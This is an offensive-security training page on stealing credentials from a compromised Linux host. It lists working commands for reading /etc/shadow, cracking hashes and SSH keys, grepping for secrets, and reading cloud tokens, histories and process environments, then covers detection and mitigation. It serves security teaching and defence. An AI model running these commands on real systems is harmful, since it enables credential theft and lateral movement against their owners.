Skip to content
Pwnversity
LIN-CREDSintermediate · 5 min · upd. 2026-10

Linux Credential Theft

T1552T1003.008

After compromising a Linux host, harvesting credentials is what lets you escalate, move to other systems, and persist. Linux stores secrets in many places: password hashes, SSH keys, application tokens, cloud credentials, command histories, and configurations. A host rarely lives in isolation: the credentials you find here usually open the next system.

The attacker turns one local access into a spread of accesses. Each secret has a different reach: a /etc/shadow hash is cracked offline to recover the cleartext password; an SSH private key opens every host it’s authorized on; a cloud token grants access to the whole infrastructure. Password reuse across services and hosts is what multiplies the impact.

Secrets appear in four broad zones: the authentication system (/etc/shadow), user profiles (~/.ssh, ~/.aws, histories), application configurations (webapps, databases), and the memory of running processes. Access depends on your privilege: /etc/shadow needs root or cap_dac_read_search; the user’s files, their own UID.

Ventana de terminal
# with root or cap_dac_read_search (see lin-caps)
cat /etc/shadow
unshadow /etc/passwd /etc/shadow > hashes.txt
hashcat -m 1800 hashes.txt rockyou.txt # $6$ = sha512crypt
john hashes.txt --wordlist=rockyou.txt

Formats: $1$ MD5crypt, $5$ sha256crypt, $6$ sha512crypt, $y$ yescrypt, $2b$ bcrypt. Crackable offline depending on password strength.

Ventana de terminal
cat ~/.ssh/id_rsa ~/.ssh/id_ed25519 2>/dev/null # private -> access to other hosts
cat ~/.ssh/config ~/.ssh/known_hosts # which hosts and how
find / \( -name "id_rsa*" -o -name "*.pem" \) 2>/dev/null
# passphrase-protected key -> crack
ssh2john id_rsa > sshhash; john sshhash --wordlist=rockyou.txt

A private key without a passphrase is direct access to every host it’s in authorized_keys for.

Ventana de terminal
grep -rniE 'password|passwd|secret|api[_-]?key|token' /etc /opt /var/www /home 2>/dev/null
# typical locations
cat /var/www/*/wp-config.php /var/www/*/config.php /var/www/*/.env 2>/dev/null # webapps
cat ~/.aws/credentials ~/.config/gcloud/*.json ~/.kube/config 2>/dev/null # cloud/k8s
cat ~/.netrc ~/.git-credentials ~/.pgpass ~/.my.cnf 2>/dev/null # services
grep -i -A2 cifs /etc/fstab # mount creds
Ventana de terminal
cat ~/.bash_history ~/.zsh_history ~/.mysql_history ~/.psql_history 2>/dev/null
# a classic: 'mysql -u root -pSuperSecret123' gets logged
strings /proc/<pid>/environ 2>/dev/null # a process's environment variables (with privilege)
tr '\0' '\n' < /proc/<pid>/environ # more readable
Ventana de terminal
ls ~/.config/keepassxc ~/.password-store 2>/dev/null # pass, KeePassXC
# gnome-keyring / CI/CD tokens in .env, Jenkins/GitLab runners
  • linpeas.sh: flags found credentials automatically.
  • LaZagne (laZagne.py all): extracts credentials from browsers, keyrings, and apps.
  • hashcat / john: offline cracking of /etc/shadow and app hashes.

Once you find something, reuse it: su, ssh, DB access, cloud consoles. Looting feeds escalation (privesc) and lateral movement.

  • auditd: alert on reads of /etc/shadow, ~/.ssh/id_*, .aws/credentials by unusual processes/users.
  • Tool execution: unshadow, ssh2john, LaZagne patterns, mass grep -r for secrets.
  • Credential reuse: successful SSH/su logins from unusual hosts correlated in the SIEM.

Authentication logs (auth.log), sensitive-file access events (auditd -w), and outbound SSH connections from the compromised host.

  • No cleartext credentials: secret managers (Vault, k8s secrets), 600 permissions, HISTIGNORE/prompt input to keep passwords out of history.
  • SSH keys with a passphrase and rotation; audited authorized_keys; ssh-agent with expiry.
  • Strong hashes (yescrypt/sha512) and robust passwords to slow offline cracking.
  • Least privilege: a compromised user shouldn’t read /etc/shadow or other services’ secrets.

Rotate everything exposed (passwords, SSH keys, cloud tokens, app secrets), revoke sessions, and audit recent access with those credentials.

  • /etc/shadow + /etc/passwd → unshadow → crack
  • SSH private keys and config/known_hosts (lateral)
  • Mass grep for credentials in /etc, /var/www, /home, /opt
  • Cloud/k8s credentials (.aws, .kube, gcloud)
  • Histories (.bash_history, .mysql_history)
  • Process environment variables (/proc/pid/environ)
  • Keyrings / password managers
  • Reuse what’s found toward other hosts/users